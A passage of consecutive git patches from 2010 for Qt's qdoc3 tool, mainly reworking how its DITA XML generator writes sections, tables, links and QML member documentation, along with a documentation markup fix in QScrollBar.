QFileInfo(static_cast(out().device())->fileName()).fileName(); } /*! @@ -302,6 +310,11 @@ void PageGenerator::endSubPage() delete outStreamStack.pop(); } +/*! + Used for writing to the current output stream. Returns a + reference to the crrent output stream, which is then used + with the \c {<<} operator for writing. + */ QTextStream &PageGenerator::out() { return *outStreamStack.top(); diff --git a/tools/qdoc3/text.cpp b/tools/qdoc3/text.cpp index 7093a43..11d7edd 100644 --- a/tools/qdoc3/text.cpp +++ b/tools/qdoc3/text.cpp @@ -144,7 +144,9 @@ QString Text::toString() const QString str; const Atom *atom = firstAtom(); while ( atom != 0 ) { - if ( atom->type() == Atom::String || atom->type() == Atom::AutoLink ) + if ( atom->type() == Atom::String || + atom->type() == Atom::AutoLink || + atom->type() == Atom::GuidLink) str += atom->string(); atom = atom->next(); } -- cgit v0.12 From 7d61e1d6d32d93fa5a023caade59f3af4923f2e8 Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Mon, 27 Sep 2010 12:13:16 +0200 Subject: qdoc: Corrected output for the AutoLink case. Now many more elements are generated correctly. --- tools/qdoc3/ditaxmlgenerator.cpp | 26 +++++++++++++------------- tools/qdoc3/ditaxmlgenerator.h | 2 +- 2 files changed, 14 insertions(+), 14 deletions(-) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index 16215cd..9652f48 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -392,7 +392,7 @@ DitaXmlGenerator::DitaXmlGenerator() myTree(0), slow(false), obsoleteLinks(false), - noLinks(0), + noLinks(false), tableColumnCount(0) { // nothing yet. @@ -656,7 +656,7 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, case Atom::AbstractRight: break; case Atom::AutoLink: - if ((noLinks > 0) && !inLink && !inContents && !inSectionHeading) { + if (!noLinks && !inLink && !inContents && !inSectionHeading) { const Node* node = 0; QString link = getLink(atom, relative, marker, &node); if (!link.isEmpty()) { @@ -681,8 +681,10 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, } if (inApiDesc) xmlWriter().writeStartElement("p"); - else + else { + noLinks = true; xmlWriter().writeStartElement(SHORTDESC); + } if (relative->type() == Node::Property || relative->type() == Node::Variable) { QString str; @@ -715,6 +717,7 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, case Atom::BriefRight: if (relative->type() != Node::Fake) { xmlWriter().writeEndElement(); // or

    + noLinks = false; } break; case Atom::C: @@ -1126,7 +1129,7 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, break; case Atom::LinkNode: { - const Node *node = CodeMarker::nodeForString(atom->string()); + const Node* node = CodeMarker::nodeForString(atom->string()); beginLink(linkForNode(node, relative), node, relative, marker); skipAhead = 1; } @@ -2094,11 +2097,11 @@ void DitaXmlGenerator::generateBrief(const Node* node, CodeMarker* marker) { Text brief = node->doc().briefText(); if (!brief.isEmpty()) { - ++noLinks; + noLinks = true; xmlWriter().writeStartElement(SHORTDESC); generateText(brief, node, marker); xmlWriter().writeEndElement(); // - --noLinks; + noLinks = false; } } @@ -3610,8 +3613,6 @@ QString DitaXmlGenerator::refForNode(const Node* node) QString DitaXmlGenerator::guidForNode(const Node* node) { - QString ref; - switch (node->type()) { case Node::Namespace: case Node::Class: @@ -3633,14 +3634,13 @@ QString DitaXmlGenerator::guidForNode(const Node* node) return guidForNode(fn->associatedProperty()); } else { - ref = fn->name(); + QString ref = fn->name(); if (fn->overloadNumber() != 1) { ref += "-" + QString::number(fn->overloadNumber()); -#if 0 - qDebug() << "guidForNode() overloaded function:" << ref; -#endif + //qDebug() << "guidForNode() overloaded function:" << outFileName() << ref; } } + return fn->guid(); } case Node::Fake: if (node->subType() != Node::QmlPropertyGroup) @@ -3657,7 +3657,7 @@ QString DitaXmlGenerator::guidForNode(const Node* node) case Node::Target: return node->guid(); } - return registerRef(ref); + return QString(); } /*! diff --git a/tools/qdoc3/ditaxmlgenerator.h b/tools/qdoc3/ditaxmlgenerator.h index f781290..484ff2f 100644 --- a/tools/qdoc3/ditaxmlgenerator.h +++ b/tools/qdoc3/ditaxmlgenerator.h @@ -291,7 +291,7 @@ class DitaXmlGenerator : public PageGenerator const Tree* myTree; bool slow; bool obsoleteLinks; - int noLinks; + bool noLinks; int tableColumnCount; QMap moduleClassMap; QMap moduleNamespaceMap; -- cgit v0.12 From 6461147a04f7c230c000d2de8fbbbe336b0f8345 Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Mon, 27 Sep 2010 15:00:42 +0200 Subject: qdoc: Added outputclass attribute for class summary sections. --- tools/qdoc3/ditaxmlgenerator.cpp | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index 9652f48..ce140af 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -1594,9 +1594,11 @@ DitaXmlGenerator::generateClassLikeNode(const InnerNode* inner, CodeMarker* mark needOtherSection = true; } else { + QString attr; if (!s->members.isEmpty()) { xmlWriter().writeStartElement("section"); - xmlWriter().writeAttribute("outputclass","h2"); + attr = "h2 " + cleanRef((*s).name).toLower(); + xmlWriter().writeAttribute("outputclass",attr); xmlWriter().writeStartElement("title"); xmlWriter().writeCharacters(protectEnc((*s).name)); xmlWriter().writeEndElement(); // @@ -1606,8 +1608,9 @@ DitaXmlGenerator::generateClassLikeNode(const InnerNode* inner, CodeMarker* mark } if (!s->reimpMembers.isEmpty()) { QString name = QString("Reimplemented ") + (*s).name; + attr = "h2 " + cleanRef(name).toLower(); xmlWriter().writeStartElement("section"); - xmlWriter().writeAttribute("outputclass","h2"); + xmlWriter().writeAttribute("outputclass",attr); xmlWriter().writeStartElement("title"); xmlWriter().writeCharacters(protectEnc(name)); xmlWriter().writeEndElement(); // @@ -1620,7 +1623,7 @@ DitaXmlGenerator::generateClassLikeNode(const InnerNode* inner, CodeMarker* mark } if (needOtherSection) { xmlWriter().writeStartElement("section"); - xmlWriter().writeAttribute("outputclass","h3"); + xmlWriter().writeAttribute("outputclass","h3 additional-inherited-members"); xmlWriter().writeStartElement("title"); xmlWriter().writeCharacters("Additional Inherited Members"); xmlWriter().writeEndElement(); // -- cgit v0.12 From 0385fc6ae80a324feb8e8c19e015e4a485bb56d1 Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Wed, 29 Sep 2010 11:52:03 +0200 Subject: qdoc: Added outputclass attribute for sections and titles. --- tools/qdoc3/ditaxmlgenerator.cpp | 28 +++++++++++++++++++++------- 1 file changed, 21 insertions(+), 7 deletions(-) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index ce140af..c3b6fab 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -1312,6 +1312,7 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, inSection = true; xmlWriter().writeStartElement("section"); writeGuidAttribute(Doc::canonicalTitle(Text::sectionHeading(atom).toString())); + xmlWriter().writeAttribute("outputclass","details"); break; case Atom::SectionRight: if (inSection) { @@ -1597,9 +1598,10 @@ DitaXmlGenerator::generateClassLikeNode(const InnerNode* inner, CodeMarker* mark QString attr; if (!s->members.isEmpty()) { xmlWriter().writeStartElement("section"); - attr = "h2 " + cleanRef((*s).name).toLower(); + attr = cleanRef((*s).name).toLower() + " redundant"; xmlWriter().writeAttribute("outputclass",attr); xmlWriter().writeStartElement("title"); + xmlWriter().writeAttribute("outputclass","h2"); xmlWriter().writeCharacters(protectEnc((*s).name)); xmlWriter().writeEndElement(); // generateSection(s->members, inner, marker, CodeMarker::Summary); @@ -1608,10 +1610,11 @@ DitaXmlGenerator::generateClassLikeNode(const InnerNode* inner, CodeMarker* mark } if (!s->reimpMembers.isEmpty()) { QString name = QString("Reimplemented ") + (*s).name; - attr = "h2 " + cleanRef(name).toLower(); + attr = cleanRef(name).toLower() + " redundant"; xmlWriter().writeStartElement("section"); xmlWriter().writeAttribute("outputclass",attr); xmlWriter().writeStartElement("title"); + xmlWriter().writeAttribute("outputclass","h2"); xmlWriter().writeCharacters(protectEnc(name)); xmlWriter().writeEndElement(); // generateSection(s->reimpMembers, inner, marker, CodeMarker::Summary); @@ -1623,8 +1626,9 @@ DitaXmlGenerator::generateClassLikeNode(const InnerNode* inner, CodeMarker* mark } if (needOtherSection) { xmlWriter().writeStartElement("section"); - xmlWriter().writeAttribute("outputclass","h3 additional-inherited-members"); + xmlWriter().writeAttribute("outputclass","additional-inherited-members redundant"); xmlWriter().writeStartElement("title"); + xmlWriter().writeAttribute("outputclass","h3"); xmlWriter().writeCharacters("Additional Inherited Members"); xmlWriter().writeEndElement(); // s = summarySections.begin(); @@ -2430,8 +2434,8 @@ QString DitaXmlGenerator::generateLowStatusMemberFile(const InnerNode* inner, for (i = 0; i < sections.size(); ++i) { xmlWriter().writeStartElement("section"); - xmlWriter().writeAttribute("outputclass","h2"); xmlWriter().writeStartElement("title"); + xmlWriter().writeAttribute("outputclass","h2"); xmlWriter().writeCharacters(protectEnc(sections.at(i).name)); xmlWriter().writeEndElement(); // generateSection(sections.at(i).members, inner, marker, CodeMarker::Summary); @@ -5337,19 +5341,29 @@ void DitaXmlGenerator::writeDetailedDescription(const Node* node, if (apiDesc) { inApiDesc = true; xmlWriter().writeStartElement(APIDESC); - // zzz xmlWriter().writeAttribute("id",node->guid()); - if (!title.isEmpty()) + if (!title.isEmpty()) { + writeGuidAttribute(title); xmlWriter().writeAttribute("spectitle",title); + } + else + writeGuidAttribute("Detailed Description"); + xmlWriter().writeAttribute("outputclass","details"); } else { inSection = true; xmlWriter().writeStartElement("section"); - // zzz xmlWriter().writeAttribute("id",node->guid()); if (!title.isEmpty()) { + writeGuidAttribute(title); + xmlWriter().writeAttribute("outputclass","details"); xmlWriter().writeStartElement("title"); + xmlWriter().writeAttribute("outputclass","h2"); xmlWriter().writeCharacters(title); xmlWriter().writeEndElement(); // } + else { + writeGuidAttribute("Detailed Description"); + xmlWriter().writeAttribute("outputclass","details"); + } } generateBody(node, marker); if (inApiDesc) { -- cgit v0.12 From 03ac8b6a7bfc0ef819cf2155e338252ca9fb77af Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Thu, 30 Sep 2010 12:13:57 +0200 Subject: qdoc: Added missing
    ; added "span" infor temporarily. There is an empty
    at the start of some xml files generated from qdoc files, but I don't think I can get rid of it. --- src/gui/widgets/qscrollbar.cpp | 39 +++++++++++++++---------------- tools/qdoc3/ditaxmlgenerator.cpp | 50 +++++++++++++++++++++++++--------------- 2 files changed, 51 insertions(+), 38 deletions(-) diff --git a/src/gui/widgets/qscrollbar.cpp b/src/gui/widgets/qscrollbar.cpp index 4ee9f27..a07e2cb 100644 --- a/src/gui/widgets/qscrollbar.cpp +++ b/src/gui/widgets/qscrollbar.cpp @@ -82,21 +82,21 @@ QT_BEGIN_NAMESPACE needs. \table - \row \i \image qscrollbar-picture.png - \i Scroll bars typically include four separate controls: a slider, + \row \o \image qscrollbar-picture.png + \o Scroll bars typically include four separate controls: a slider, scroll arrows, and a page control. \list - \i a. The slider provides a way to quickly go to any part of the + \o a. The slider provides a way to quickly go to any part of the document, but does not support accurate navigation within large documents. - \i b. The scroll arrows are push buttons which can be used to accurately + \o b. The scroll arrows are push buttons which can be used to accurately navigate to a particular place in a document. For a vertical scroll bar connected to a text editor, these typically move the current position one "line" up or down, and adjust the position of the slider by a small amount. In editors and list boxes a "line" might mean one line of text; in an image viewer it might mean 20 pixels. - \i c. The page control is the area over which the slider is dragged (the + \o c. The page control is the area over which the slider is dragged (the scroll bar's background). Clicking here moves the scroll bar towards the click by one "page". This value is usually the same as the length of the slider. @@ -134,13 +134,12 @@ QT_BEGIN_NAMESPACE value of 80. This would give us a scroll bar with five "pages". \table - \row \i \inlineimage qscrollbar-values.png - \i The relationship between a document length, the range of values used + \row \o \inlineimage qscrollbar-values.png + \o The relationship between a document length, the range of values used in a scroll bar, and the page step is simple in many common situations. The scroll bar's range of values is determined by subtracting a chosen page step from some value representing the length of the document. In such cases, the following equation is useful: - \e{document length} = maximum() - minimum() + pageStep(). \endtable @@ -153,18 +152,18 @@ QT_BEGIN_NAMESPACE ScrollBar inherits a comprehensive set of signals from QAbstractSlider: \list - \i \l{QAbstractSlider::valueChanged()}{valueChanged()} is emitted when the + \o \l{QAbstractSlider::valueChanged()}{valueChanged()} is emitted when the scroll bar's value has changed. The tracking() determines whether this signal is emitted during user interaction. - \i \l{QAbstractSlider::rangeChanged()}{rangeChanged()} is emitted when the + \o \l{QAbstractSlider::rangeChanged()}{rangeChanged()} is emitted when the scroll bar's range of values has changed. - \i \l{QAbstractSlider::sliderPressed()}{sliderPressed()} is emitted when + \o \l{QAbstractSlider::sliderPressed()}{sliderPressed()} is emitted when the user starts to drag the slider. - \i \l{QAbstractSlider::sliderMoved()}{sliderMoved()} is emitted when the user + \o \l{QAbstractSlider::sliderMoved()}{sliderMoved()} is emitted when the user drags the slider. - \i \l{QAbstractSlider::sliderReleased()}{sliderReleased()} is emitted when + \o \l{QAbstractSlider::sliderReleased()}{sliderReleased()} is emitted when the user releases the slider. - \i \l{QAbstractSlider::actionTriggered()}{actionTriggered()} is emitted + \o \l{QAbstractSlider::actionTriggered()}{actionTriggered()} is emitted when the scroll bar is changed by user interaction or via the \l{QAbstractSlider::triggerAction()}{triggerAction()} function. \endlist @@ -173,12 +172,12 @@ QT_BEGIN_NAMESPACE default focusPolicy() of Qt::NoFocus. Use setFocusPolicy() to enable keyboard interaction with the scroll bar: \list - \i Left/Right move a horizontal scroll bar by one single step. - \i Up/Down move a vertical scroll bar by one single step. - \i PageUp moves up one page. - \i PageDown moves down one page. - \i Home moves to the start (mininum). - \i End moves to the end (maximum). + \o Left/Right move a horizontal scroll bar by one single step. + \o Up/Down move a vertical scroll bar by one single step. + \o PageUp moves up one page. + \o PageDown moves down one page. + \o Home moves to the start (mininum). + \o End moves to the end (maximum). \endlist The slider itself can be controlled by using the diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index c3b6fab..2ee7a45 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -679,7 +679,7 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, skipAhead = skipAtoms(atom, Atom::BriefRight); break; } - if (inApiDesc) + if (inApiDesc || inSection) xmlWriter().writeStartElement("p"); else { noLinks = true; @@ -1358,27 +1358,37 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, tableColumnCount = 0; } const Atom* t = atom->next(); - while ((t->type() != Atom::TableHeaderRight) && - (t->type() != Atom::TableRowRight) && - (t->type() != Atom::TableRight)) { - if (t->type() == Atom::TableItemLeft) - ++tableColumnCount; + while (t->type() == Atom::TableHeaderLeft) { + int count = 0; + t = t->next(); + while (t->type() != Atom::TableHeaderRight) { + if (t->type() == Atom::TableItemLeft) + ++count; + t = t->next(); + } + if (count > tableColumnCount) + tableColumnCount = count; t = t->next(); } xmlWriter().writeStartElement("tgroup"); xmlWriter().writeAttribute("cols",QString::number(tableColumnCount)); + inTableHeader = false; + inTableBody = false; } break; case Atom::TableRight: xmlWriter().writeEndElement(); // xmlWriter().writeEndElement(); // xmlWriter().writeEndElement(); // + inTableHeader = false; + inTableBody = false; tableColumnCount = 0; break; case Atom::TableHeaderLeft: xmlWriter().writeStartElement("thead"); + xmlWriter().writeAttribute("valign","top"); xmlWriter().writeStartElement("row"); - xmlWriter().writeAttribute("outputclass","qt-style topAlign"); + xmlWriter().writeAttribute("valign","top"); inTableHeader = true; inTableBody = false; break; @@ -1387,7 +1397,7 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, if (matchAhead(atom, Atom::TableHeaderLeft)) { skipAhead = 1; xmlWriter().writeStartElement("row"); - xmlWriter().writeAttribute("outputclass","qt-style topAlign"); + xmlWriter().writeAttribute("valign","top"); } else { xmlWriter().writeEndElement(); // @@ -1402,25 +1412,28 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, xmlWriter().writeStartElement("tbody"); } xmlWriter().writeStartElement("row"); + xmlWriter().writeAttribute("valign","top"); if (++numTableRows % 2 == 1) - xmlWriter().writeAttribute("outputclass","odd topAlign"); + xmlWriter().writeAttribute("outputclass","odd"); else - xmlWriter().writeAttribute("outputclass","even topAlign"); + xmlWriter().writeAttribute("outputclass","even"); break; case Atom::TableRowRight: - xmlWriter().writeEndElement(); // \n"; + xmlWriter().writeEndElement(); // break; case Atom::TableItemLeft: { - if (inTableHeader) - xmlWriter().writeStartElement("entry"); - else - xmlWriter().writeStartElement("entry"); - + xmlWriter().writeStartElement("entry"); QStringList spans = atom->string().split(","); if (spans.size() == 2) { + if (inTableHeader || + (spans[0].toInt() != 1) || + (spans[1].toInt() != 1)) { + QString s = "span(" + spans[0] + "," + spans[1] + ")"; + xmlWriter().writeAttribute("outputclass",s); + } if (!inTableHeader) - xmlWriter().writeStartElement("p"); + xmlWriter().writeStartElement("p"); } if (matchAhead(atom, Atom::ParaLeft)) skipAhead = 1; @@ -1439,7 +1452,7 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, case Atom::TableOfContents: { int numColumns = 1; - const Node *node = relative; + const Node* node = relative; Doc::SectioningUnit sectioningUnit = Doc::Section4; QStringList params = atom->string().split(","); @@ -1637,6 +1650,7 @@ DitaXmlGenerator::generateClassLikeNode(const InnerNode* inner, CodeMarker* mark generateSectionInheritedList(*s, inner, marker); ++s; } + xmlWriter().writeEndElement(); //
    } writeDetailedDescription(cn, marker, false, QString("Detailed Description")); -- cgit v0.12 From c0608b2ca1468e1bb1ba6eec835118b459240cc5 Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Fri, 1 Oct 2010 15:02:00 +0200 Subject: qdoc: More complete QML elements. Still missing some links for QML basic types. --- tools/qdoc3/ditaxmlgenerator.cpp | 158 ++++++++++++++++++++------------------- 1 file changed, 82 insertions(+), 76 deletions(-) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index 2ee7a45..0291054 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -638,6 +638,33 @@ void DitaXmlGenerator::startText(const Node* /* relative */, sectionNumber.clear(); } +static int countTableColumns(const Atom* t) +{ + int result = 0; + if (t->type() == Atom::TableHeaderLeft) { + while (t->type() == Atom::TableHeaderLeft) { + int count = 0; + t = t->next(); + while (t->type() != Atom::TableHeaderRight) { + if (t->type() == Atom::TableItemLeft) + ++count; + t = t->next(); + } + if (count > result) + result = count; + t = t->next(); + } + } + else if (t->type() == Atom::TableRowLeft) { + while (t->type() != Atom::TableRowRight) { + if (t->type() == Atom::TableItemLeft) + ++result; + t = t->next(); + } + } + return result; +} + /*! Generate html from an instance of Atom. */ @@ -1357,19 +1384,7 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, qDebug() << "ERROR: Nested tables!"; tableColumnCount = 0; } - const Atom* t = atom->next(); - while (t->type() == Atom::TableHeaderLeft) { - int count = 0; - t = t->next(); - while (t->type() != Atom::TableHeaderRight) { - if (t->type() == Atom::TableItemLeft) - ++count; - t = t->next(); - } - if (count > tableColumnCount) - tableColumnCount = count; - t = t->next(); - } + tableColumnCount = countTableColumns(atom->next()); xmlWriter().writeStartElement("tgroup"); xmlWriter().writeAttribute("cols",QString::number(tableColumnCount)); inTableHeader = false; @@ -1793,8 +1808,15 @@ void DitaXmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker sections = marker->qmlSections(qml_cn,CodeMarker::Summary,0); s = sections.begin(); while (s != sections.end()) { - writeTargetAndHeader((*s).name,protectEnc((*s).name),"h2"); + xmlWriter().writeStartElement("section"); + QString attr = cleanRef((*s).name).toLower(); + xmlWriter().writeAttribute("outputclass",attr); + xmlWriter().writeStartElement("title"); + xmlWriter().writeAttribute("outputclass","h2"); + xmlWriter().writeCharacters(protectEnc((*s).name)); + xmlWriter().writeEndElement(); // generateQmlSummary(*s,fake,marker); + xmlWriter().writeEndElement(); //
    ++s; } @@ -1809,15 +1831,21 @@ void DitaXmlGenerator::generateFakeNode(const FakeNode *fake, CodeMarker *marker sections = marker->qmlSections(qml_cn,CodeMarker::Detailed,0); s = sections.begin(); while (s != sections.end()) { - xmlWriter().writeStartElement("p"); - xmlWriter().writeAttribute("outputclass","h2"); - xmlWriter().writeCharacters(protectEnc((*s).name)); - xmlWriter().writeEndElement(); //

    - NodeList::ConstIterator m = (*s).members.begin(); - while (m != (*s).members.end()) { - generateDetailedQmlMember(*m, fake, marker); - //out() << "
    \n"; - ++m; + if (!s->members.isEmpty()) { + QString attr; + xmlWriter().writeStartElement("section"); + attr = cleanRef((*s).name).toLower(); + xmlWriter().writeAttribute("outputclass",attr); + xmlWriter().writeStartElement("title"); + xmlWriter().writeAttribute("outputclass","h2"); + xmlWriter().writeCharacters(protectEnc((*s).name)); + xmlWriter().writeEndElement(); // + NodeList::ConstIterator m = (*s).members.begin(); + while (m != (*s).members.end()) { + generateDetailedQmlMember(*m, fake, marker); + ++m; + } + xmlWriter().writeEndElement(); //
    } ++s; } @@ -3317,7 +3345,7 @@ void DitaXmlGenerator::writeText(const QString& markedCode, } xmlWriter().writeEndElement(); // xmlWriter().writeStartElement("entry"); - xmlWriter().writeAttribute("outputclass=","memItemRight bottomAlign"); + xmlWriter().writeAttribute("outputclass","memItemRight bottomAlign"); done = true; } i += 2; @@ -4324,81 +4352,59 @@ void DitaXmlGenerator::generateDetailedQmlMember(const Node* node, CodeMarker* marker) { QString marked; - const QmlPropertyNode* qpn = 0; - out() << "
    "; + QmlPropertyNode* qpn = 0; if (node->subType() == Node::QmlPropertyGroup) { const QmlPropGroupNode* qpgn = static_cast(node); NodeList::ConstIterator p = qpgn->childNodes().begin(); - out() << "
    "; - out() << ""; - + xmlWriter().writeStartElement("ul"); while (p != qpgn->childNodes().end()) { if ((*p)->type() == Node::QmlProperty) { qpn = static_cast(*p); - - if (++numTableRows % 2 == 1) - out() << ""; - else - out() << ""; - - out() << ""; + xmlWriter().writeEndElement(); // } ++p; } - out() << "

    "; - //out() << "

    "; // old - out() << ""; + xmlWriter().writeStartElement("li"); + writeGuidAttribute(qpn); + QString attr; if (!qpn->isWritable(myTree)) - out() << "read-only"; - if (qpgn->isDefault()) - out() << "default"; + attr = "read-only"; + if (qpgn->isDefault()) { + if (!attr.isEmpty()) + attr += " "; + attr += "default"; + } + if (!attr.isEmpty()) + xmlWriter().writeAttribute("outputclass",attr); generateQmlItem(qpn, relative, marker, false); - out() << "
    "; - out() << "
    "; + xmlWriter().writeEndElement(); // } else if (node->type() == Node::QmlSignal) { - const FunctionNode* qsn = static_cast(node); - out() << "
    "; - out() << ""; - //out() << ""; - if (++numTableRows % 2 == 1) - out() << ""; - else - out() << ""; - out() << ""; - out() << "

    "; - out() << ""; - marked = getMarkedUpSynopsis(qsn, relative, marker, CodeMarker::Detailed); + Node* n = const_cast(node); + xmlWriter().writeStartElement("ul"); + xmlWriter().writeStartElement("li"); + writeGuidAttribute(n); + marked = getMarkedUpSynopsis(n, relative, marker, CodeMarker::Detailed); writeText(marked, marker, relative); - //generateQmlItem(qsn,relative,marker,false); - out() << "

    "; - out() << "
    "; + generateQmlItem(n, relative, marker, false); + xmlWriter().writeEndElement(); // + xmlWriter().writeEndElement(); // } else if (node->type() == Node::QmlMethod) { - const FunctionNode* qmn = static_cast(node); - out() << "
    "; - out() << ""; - //out() << ""; - if (++numTableRows % 2 == 1) - out() << ""; - else - out() << ""; - out() << ""; - out() << "

    "; - out() << ""; - marked = getMarkedUpSynopsis(qmn, relative, marker, CodeMarker::Detailed); + Node* n = const_cast(node); + xmlWriter().writeStartElement("ul"); + xmlWriter().writeStartElement("li"); + writeGuidAttribute(n); + marked = getMarkedUpSynopsis(n, relative, marker, CodeMarker::Detailed); writeText(marked, marker, relative); - out() << "

    "; - out() << "
    "; + xmlWriter().writeEndElement(); // + xmlWriter().writeEndElement(); // } - out() << "
    "; generateStatus(node, marker); generateBody(node, marker); generateThreadSafeness(node, marker); generateSince(node, marker); generateAlsoList(node, marker); - out() << "
    "; - out() << "
    "; } /*! -- cgit v0.12 From c86449e2e45b67662b652d58e95e0ca7c99782fd Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Fri, 1 Oct 2010 15:18:40 +0200 Subject: qdoc: Removed extraneous call to generateQmlItem(). --- tools/qdoc3/ditaxmlgenerator.cpp | 1 - 1 file changed, 1 deletion(-) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index 0291054..3fb90d2 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -4386,7 +4386,6 @@ void DitaXmlGenerator::generateDetailedQmlMember(const Node* node, writeGuidAttribute(n); marked = getMarkedUpSynopsis(n, relative, marker, CodeMarker::Detailed); writeText(marked, marker, relative); - generateQmlItem(n, relative, marker, false); xmlWriter().writeEndElement(); // xmlWriter().writeEndElement(); // } -- cgit v0.12 From 77a701d8657118d2c611d521a95dad42a845b42b Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Mon, 4 Oct 2010 10:50:41 +0200 Subject: qdoc: Changed type names to links to types. This wasn't happeneiung everywhere that it should have been, especially for QML basic types. --- tools/qdoc3/ditaxmlgenerator.cpp | 19 ++++++++++++++++--- 1 file changed, 16 insertions(+), 3 deletions(-) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index 3fb90d2..2d8eec2 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -3386,9 +3386,22 @@ void DitaXmlGenerator::writeText(const QString& markedCode, html.clear(); } par1 = QStringRef(); - marker->resolveTarget(arg.toString(), myTree, relative); - QString link = linkForNode(n,relative); - addLink(link, arg); + QString link; + n = marker->resolveTarget(arg.toString(), myTree, relative); + if (n && n->subType() == Node::QmlBasicType) { + if (relative && relative->subType() == Node::QmlClass) { + link = linkForNode(n,relative); + addLink(link, arg); + } + else { + link = arg.toString(); + } + } + else { + // (zzz) Is this correct for all cases? + link = linkForNode(n,relative); + addLink(link, arg); + } } handled = true; break; -- cgit v0.12 From edbe8f8f8c284b4cac52ff1e97a2065dc4f89d74 Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Mon, 4 Oct 2010 13:14:22 +0200 Subject: qdoc: Outputting each namespace as a element. Still missing nested classes. --- tools/qdoc3/ditaxmlgenerator.cpp | 164 +++++++++++++++++++++++++++++++++++++-- tools/qdoc3/ditaxmlgenerator.h | 2 +- 2 files changed, 159 insertions(+), 7 deletions(-) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index 2d8eec2..2b90d8e 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -1534,16 +1534,160 @@ DitaXmlGenerator::generateClassLikeNode(const InnerNode* inner, CodeMarker* mark QList
    ::ConstIterator s; const ClassNode* cn = 0; - const NamespaceNode* namespasse = 0; + const NamespaceNode* nsn = 0; QString title; QString rawTitle; QString fullTitle; if (inner->type() == Node::Namespace) { - namespasse = const_cast(static_cast(inner)); + nsn = const_cast(static_cast(inner)); rawTitle = marker->plainName(inner); fullTitle = marker->plainFullName(inner); title = rawTitle + " Namespace"; + + /* + Note: Because the C++ specialization we are using + has no element, we are using the + element with an outputclass attribute + set to "namespace" . + */ + generateHeader(inner, fullTitle); + generateBrief(inner, marker); // + + // not included: + + xmlWriter().writeStartElement(CXXCLASSDETAIL); + xmlWriter().writeStartElement(CXXCLASSDEFINITION); + writeLocation(nsn); + xmlWriter().writeEndElement(); // + + xmlWriter().writeStartElement(APIDESC); + xmlWriter().writeAttribute("spectitle",title); + Text brief = nsn->doc().briefText(); + if (!brief.isEmpty()) { + xmlWriter().writeStartElement("p"); + generateText(brief, nsn, marker); + xmlWriter().writeEndElement(); //

    + } + generateIncludes(nsn, marker); + generateStatus(nsn, marker); + generateThreadSafeness(nsn, marker); + generateSince(nsn, marker); + + xmlWriter().writeStartElement("ul"); + + QString membersLink = generateListOfAllMemberFile(inner, marker); + if (!membersLink.isEmpty()) { + writeXrefListItem(membersLink,"List of all members, including inherited members"); + } + + QString obsoleteLink = generateLowStatusMemberFile(inner, + marker, + CodeMarker::Obsolete); + if (!obsoleteLink.isEmpty()) { + writeXrefListItem(obsoleteLink,"Obsolete members"); + } + + QString compatLink = generateLowStatusMemberFile(inner, + marker, + CodeMarker::Compat); + if (!compatLink.isEmpty()) { + writeXrefListItem(compatLink,"Qt 3 support members"); + } + + xmlWriter().writeEndElement(); // + xmlWriter().writeEndElement(); // + + bool needOtherSection = false; + QList
